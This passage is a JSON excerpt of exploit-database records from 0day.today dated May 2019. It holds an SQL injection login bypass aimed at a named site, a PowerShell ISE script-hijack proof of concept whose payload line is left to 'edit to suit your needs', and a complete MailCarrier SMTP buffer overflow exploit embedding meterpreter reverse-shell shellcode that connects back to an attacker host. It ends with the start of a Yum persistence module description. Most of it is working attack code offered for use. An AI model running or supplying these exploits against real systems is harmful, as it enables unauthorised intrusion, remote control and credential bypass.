"https://0day.today/exploit/32713"}, {"lastseen": "2019-05-03T15:55:51", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32644", "href": "https://0day.today/exploit/description/32644", "title": "Instagram Auto Follow - Authentication #Bypass Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: Instagram Auto Follow - Autobot Instagram - Authentication Bypass\r\n# Exploit Author: Veyselxan\r\n# Vendor Homepage: https://codecanyon.net/item/instagram-auto-follow-autobot-instagram/23720743?s_rank=4\r\n\r\n# Tested on: Linux\r\nhttps://eowynlab.cf/autobot-follow/index.php\r\n\r\n\r\nusername: admin' or '1'='1\r\n\r\nPassword: admin' or '1'='1\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32644"}, {"lastseen": "2019-05-03T01:50:33", "bulletinFamily": "exploit", "description": "Microsoft Windows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain array brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename and not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of PowerShell ISE allowing potential unexpected remote code execution.", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32642", "href": "https://0day.today/exploit/description/32642", "title": "Windows #PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit #RCE", "type": "zdt", "sourceData": "Windows PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit\r\n\r\n[+] Credits: John Page (aka hyp3rlinx) \r\n[+] Website: hyp3rlinx.altervista.org\r\n[+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS-POWERSHELL-ISE-FILENAME-PARSING-FLAW-RCE-0DAY.txt \r\n\r\n\r\n[Vendor]\r\nwww.microsoft.com\r\n\r\n\r\n[Product]\r\nWindows PowerShell ISE\r\n\r\nThe Windows PowerShell Integrated Scripting Environment (ISE) is a host application for Windows PowerShell.\r\nIn the ISE, you can run commands and write, test, and debug scripts in a single Windows-based graphic user interface.\r\n\r\n\r\n[Vulnerability Type]\r\nFilename Parsing Flaw Remote Code Execution 0day\r\n\r\n\r\n[References]\r\nZDI-CAN-8005\r\n\r\n\r\n[Security Issue]\r\nWindows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain\r\narray brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename\r\nand not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of\r\nPowerShell ISE allowing potential unexpected remote code execution.\r\n\r\nIn PowerShell brackets are used to access array elements.\r\n\r\nPS C:\\> $a=1..10\r\nPS C:\\> $a[4]\r\n5\r\n\r\nHowever, when brackets are used as part of the filename it can be used to hijack the currently loaded file in place of another malicious file.\r\nThat file must contain a single matching char value which is also found in our specially crafted filename.\r\n\r\nRequirements are both files must reside in the same directory. Example, if a file named [HelloWorldTutoria1].ps1 resides alongside a\r\nfile named 1.ps1 it will create a script hijacking condition. Note, the last letter is a number \"1\" not a lowercase \"L\".\r\n\r\nOther things I discovered playing with PS filenames is we can target scripts using a single alphabetic or numeric char and certain symbols.\r\nPowerShell scripts with only a single quote also work, [Pwned'].ps1 will load and execute ===> '.ps1 if debugged from the vuln ISE application.\r\n\r\nThese chars also get the job done:\r\n\"$\" \"_\" \"#\" \"^\" plus any single case insensitive letter a-z or numbers 0-9, [Hello_World].ps1 ====> _.ps1\r\n\r\n[Hello].ps1 will execute this instead =====> h.ps1\r\n\r\nDashes \"-\" throw the following error: \"The specified wildcard character pattern is not valid: [Hello-World].ps1\" when pointing to\r\nanother PS file named -.ps1 and seems to treat it sort of like a meta-character.\r\n\r\n[pw3d].ps1 <===== expected to execute\r\n\r\n3.ps1 <===== actually executed\r\n\r\nThis exploits the trust between PowerShell ISE and the end user. So scripts debugged local or over a network share display \"trusted\" code\r\nin ISE that is expected to run. However, when the user debugs the script a different script gets executed.\r\nInterestingly, that second script does NOT get loaded into PowerShell ISE upon execution, so a user may not see anything amiss.\r\n\r\nUser interaction is required for a successful attack to occur and obviously running any unknown PowerShell script can be dangerous. \r\nAgain, this exploit takes advantage of \"trust\" where users can see and read the code and will trust it as everything looks just fine and\r\nyet ... still they get PWNED!.\r\n\r\nTested successfully on Win7/10\r\n\r\nLong live user interaction! lol...\r\n\r\n\r\n[POC Video URL]\r\nhttps://www.youtube.com/watch?v=T2I_-iUPaFw\r\n\r\n\r\n[Exploit/POC]\r\nAfter opening PS files in ISE, set the execution policy so can test without issues.\r\nset-executionpolicy unrestricted -force\r\n\r\nPS scripts over Network shares may get 'RemoteSigned' security policy issue so run below cmd.\r\n\r\nset-executionpolicy unrestricted -force process\r\nChoose 'R' to run once.\r\n\r\nBelow Python script will create two .ps1 files to demonstrate the vulnerable condition.\r\nExamine the code, what does it say? it reads... Write-output \"Hello World!\"... now Run it...\r\n\r\nBAM! other PS script executes!.\r\n\r\n\r\n#PowerShell ISE 0day Xploit\r\n#ZDI-CAN-8005\r\n#ZDI CVSS: 7.0\r\n#hyp3rlinx\r\n#ApparitionSec\r\n\r\n\r\nfname1=\"[HelloWorldTutoria1].ps1\" #Expected code to run is 'HelloWorld!'\r\nfname2=\"1.ps1\" #Actual code executed is calc.exe for Poc\r\nevil_code=\"start calc.exe\" #Edit to suit your needs.\r\nc=0\r\npayload1='Write-Output \"Hello World!\"'\r\npayload2=evil_code+\"\\n\"+'Write-Output \"Hello World!\"'\r\n\r\ndef mk_ps_hijack_script():\r\n global c\r\n c+=1\r\n f=open(globals()[\"fname\"+str(c)],\"wb\")\r\n f.write(globals()[\"payload\"+str(c)])\r\n f.close()\r\n if c<2:\r\n mk_ps_hijack_script()\r\n \r\n\r\nif __name__==\"__main__\":\r\n mk_ps_hijack_script()\r\n print \"PowerShell ISE Xploit 0day Files Created!\"\r\n print \"Discovery by hyp3rlinx\"\r\n print \"ZDI-CAN-8005\"\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32642"}, {"lastseen": "2019-05-03T21:57:18", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category remote exploits", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32648", "href": "https://0day.today/exploit/description/32648", "title": "MailCarrier 2.51 HELP Remote Buffer Overflow Exploit", "type": "zdt", "sourceData": "#!/usr/bin/python\r\n# Exploit Title: MailCarrier 2.51 - Remote Buffer Overflow in \"HELP\" command(SMTP)\r\n# Exploit Author: Vinaykumar Yennam and Dheepshika Raghunathan \r\n# Vendor Homepage: https://www.tabslab.com/\r\n# Version: 2.51\r\n# Software Link: N.A\r\n# Tested on: Windows XP Prof SP3 ENG x86\r\n# CVE: TBC from Mitre\r\n# Created for the ENPM697 Project\r\n# POC\r\n# 1.) Change ip and port in code\r\n# 2.) Run script against target, set up a listener and meterpreter reverse shell will connect to your machine.\r\n\r\nimport socket\r\nimport sys\r\n\r\nhost = \"192.168.241.135\"\r\nport = 25\r\n\r\n\r\n\r\npattern = \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy\"\r\n\r\njunk1 = \"A\" * 5091\r\n\r\nEIP = \"\\x18\\x35\\xe1\\x4d\" #JMP ESP in msoda15.dll\r\n\r\n\r\n#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=4444 -e x86/alpha_mixed -b \"\\x00\\xd5\\x0a\\x0d\\x1a\\x03\" -f c\r\nshellcode = (\"\\x89\\xe3\\xd9\\xee\\xd9\\x73\\xf4\\x5a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\\x4a\"\r\n\"\\x4a\\x4a\\x4a\\x4a\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x52\\x59\\x6a\\x41\"\r\n\"\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\"\r\n\"\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41\\x42\\x75\\x4a\\x49\\x6b\"\r\n\"\\x4c\\x59\\x78\\x4b\\x32\\x63\\x30\\x75\\x50\\x45\\x50\\x65\\x30\\x4f\\x79\"\r\n\"\\x4b\\x55\\x34\\x71\\x59\\x50\\x35\\x34\\x4e\\x6b\\x36\\x30\\x54\\x70\\x6c\"\r\n\"\\x4b\\x61\\x42\\x36\\x6c\\x6e\\x6b\\x33\\x62\\x74\\x54\\x4c\\x4b\\x63\\x42\"\r\n\"\\x55\\x78\\x76\\x6f\\x4d\\x67\\x70\\x4a\\x74\\x66\\x44\\x71\\x39\\x6f\\x6e\"\r\n\"\\x4c\\x47\\x4c\\x63\\x51\\x31\\x6c\\x64\\x42\\x54\\x6c\\x51\\x30\\x7a\\x61\"\r\n\"\\x6a\\x6f\\x74\\x4d\\x56\\x61\\x39\\x57\\x6d\\x32\\x4c\\x32\\x52\\x72\\x70\"\r\n\"\\x57\\x6e\\x6b\\x56\\x32\\x46\\x70\\x4c\\x4b\\x42\\x6a\\x65\\x6c\\x4e\\x6b\"\r\n\"\\x50\\x4c\\x76\\x71\\x73\\x48\\x6a\\x43\\x73\\x78\\x45\\x51\\x68\\x51\\x43\"\r\n\"\\x61\\x4c\\x4b\\x61\\x49\\x51\\x30\\x56\\x61\\x38\\x53\\x6c\\x4b\\x33\\x79\"\r\n\"\\x32\\x38\\x4b\\x53\\x34\\x7a\\x70\\x49\\x6c\\x4b\\x75\\x64\\x6e\\x6b\\x53\"\r\n\"\\x31\\x38\\x56\\x65\\x61\\x4b\\x4f\\x4c\\x6c\\x49\\x51\\x4a\\x6f\\x56\\x6d\"\r\n\"\\x47\\x71\\x5a\\x67\\x46\\x58\\x39\\x70\\x70\\x75\\x39\\x66\\x57\\x73\\x51\"\r\n\"\\x6d\\x6c\\x38\\x45\\x6b\\x51\\x6d\\x45\\x74\\x71\\x65\\x79\\x74\\x66\\x38\"\r\n\"\\x6e\\x6b\\x43\\x68\\x37\\x54\\x75\\x51\\x5a\\x73\\x50\\x66\\x6c\\x4b\\x36\"\r\n\"\\x6c\\x42\\x6b\\x6e\\x6b\\x72\\x78\\x45\\x4c\\x67\\x71\\x59\\x43\\x4e\\x6b\"\r\n\"\\x55\\x54\\x6e\\x6b\\x55\\x51\\x5a\\x70\\x6d\\x59\\x77\\x34\\x31\\x34\\x45\"\r\n\"\\x74\\x73\\x6b\\x33\\x6b\\x61\\x71\\x61\\x49\\x43\\x6a\\x72\\x71\\x59\\x6f\"\r\n\"\\x79\\x70\\x43\\x6f\\x63\\x6f\\x61\\x4a\\x4e\\x6b\\x77\\x62\\x7a\\x4b\\x6c\"\r\n\"\\x4d\\x51\\x4d\\x50\\x68\\x75\\x63\\x56\\x52\\x75\\x50\\x33\\x30\\x43\\x58\"\r\n\"\\x42\\x57\\x52\\x53\\x44\\x72\\x43\\x6f\\x43\\x64\\x30\\x68\\x52\\x6c\\x54\"\r\n\"\\x37\\x66\\x46\\x43\\x37\\x6c\\x49\\x6d\\x38\\x4b\\x4f\\x38\\x50\\x4d\\x68\"\r\n\"\\x6e\\x70\\x76\\x61\\x63\\x30\\x55\\x50\\x71\\x39\\x68\\x44\\x63\\x64\\x52\"\r\n\"\\x70\\x42\\x48\\x46\\x49\\x4d\\x50\\x30\\x6b\\x55\\x50\\x49\\x6f\\x4b\\x65\"\r\n\"\\x52\\x4a\\x56\\x6a\\x63\\x58\\x69\\x50\\x4c\\x68\\x48\\x71\\x4d\\x54\\x33\"\r\n\"\\x58\\x45\\x52\\x33\\x30\\x32\\x31\\x71\\x4c\\x4c\\x49\\x79\\x76\\x52\\x70\"\r\n\"\\x66\\x30\\x56\\x30\\x62\\x70\\x43\\x70\\x72\\x70\\x63\\x70\\x66\\x30\\x70\"\r\n\"\\x68\\x7a\\x4a\\x74\\x4f\\x69\\x4f\\x6d\\x30\\x49\\x6f\\x68\\x55\\x4a\\x37\"\r\n\"\\x30\\x6a\\x72\\x30\\x70\\x56\\x61\\x47\\x45\\x38\\x6a\\x39\\x6e\\x45\\x33\"\r\n\"\\x44\\x33\\x51\\x59\\x6f\\x7a\\x75\\x4d\\x55\\x4b\\x70\\x33\\x44\\x37\\x7a\"\r\n\"\\x49\\x6f\\x72\\x6e\\x45\\x58\\x70\\x75\\x78\\x6c\\x59\\x78\\x53\\x57\\x45\"\r\n\"\\x50\\x63\\x30\\x73\\x30\\x73\\x5a\\x33\\x30\\x30\\x6a\\x76\\x64\\x52\\x76\"\r\n\"\\x73\\x67\\x62\\x48\\x44\\x42\\x4b\\x69\\x68\\x48\\x71\\x4f\\x69\\x6f\\x39\"\r\n\"\\x45\\x6d\\x53\\x4c\\x38\\x53\\x30\\x61\\x6e\\x70\\x36\\x6e\\x6b\\x47\\x46\"\r\n\"\\x63\\x5a\\x67\\x30\\x71\\x78\\x43\\x30\\x36\\x70\\x63\\x30\\x75\\x50\\x56\"\r\n\"\\x36\\x43\\x5a\\x33\\x30\\x30\\x68\\x42\\x78\\x6c\\x64\\x62\\x73\\x6a\\x45\"\r\n\"\\x79\\x6f\\x58\\x55\\x4c\\x53\\x56\\x33\\x43\\x5a\\x67\\x70\\x70\\x56\\x36\"\r\n\"\\x33\\x51\\x47\\x62\\x48\\x65\\x52\\x4e\\x39\\x69\\x58\\x73\\x6f\\x69\\x6f\"\r\n\"\\x79\\x45\\x6c\\x43\\x49\\x68\\x33\\x30\\x51\\x6d\\x34\\x68\\x36\\x38\\x75\"\r\n\"\\x38\\x55\\x50\\x61\\x50\\x43\\x30\\x47\\x70\\x52\\x4a\\x45\\x50\\x66\\x30\"\r\n\"\\x63\\x58\\x64\\x4b\\x54\\x6f\\x34\\x4f\\x34\\x70\\x59\\x6f\\x68\\x55\\x46\"\r\n\"\\x37\\x63\\x58\\x30\\x75\\x32\\x4e\\x30\\x4d\\x65\\x31\\x59\\x6f\\x6e\\x35\"\r\n\"\\x53\\x6e\\x63\\x6e\\x69\\x6f\\x76\\x6c\\x67\\x54\\x74\\x4f\\x6f\\x75\\x72\"\r\n\"\\x50\\x6b\\x4f\\x79\\x6f\\x69\\x6f\\x7a\\x49\\x6d\\x4b\\x6b\\x4f\\x39\\x6f\"\r\n\"\\x49\\x6f\\x65\\x51\\x6f\\x33\\x47\\x59\\x4b\\x76\\x53\\x45\\x6b\\x71\\x4a\"\r\n\"\\x63\\x6f\\x4b\\x6c\\x30\\x6c\\x75\\x69\\x32\\x46\\x36\\x61\\x7a\\x57\\x70\"\r\n\"\\x32\\x73\\x59\\x6f\\x7a\\x75\\x41\\x41\")\r\n\r\nnops = \"\\x90\"*20\r\n\r\n#junk1 depends on the length of path of the executable. Modify 5091 in junk1 accordingly.\r\n#Alternatively, you can use pattern to calculate the offset\r\n#evil_buffer = \"HELP \" + pattern + \"\\r\\n\"\r\n\r\nevil_buffer = \"HELP \" + junk1 + EIP + nops + shellcode + \"\\r\\n\"\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n\r\ntry:\r\n sock.connect((host,port))\r\n print (\"Sending evil buffer to target machine.\")\r\n sock.send(evil_buffer)\r\n print(\"Evil buffer sent. Check for reverse shell.\")\r\n print(\"Exploit by hashs3v3n!\")\r\n sock.close()\r\n\r\nexcept:\r\n print(\"Error in socket!\")\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32648"}, {"lastseen": "2019-05-01T23:55:37", "bulletinFamily": "exploit", "description": "This Metasploit module will run a payload when the package manager is used. No handler is run automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.", "modified": "2019-05-01T00:00:00", "published": "2019-05-01T00:00:00", "id": "1337DAY-ID-32627", "href": "https://0day.today/exploit/description/32627", "title": "Yum Package Manager Persistence Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires 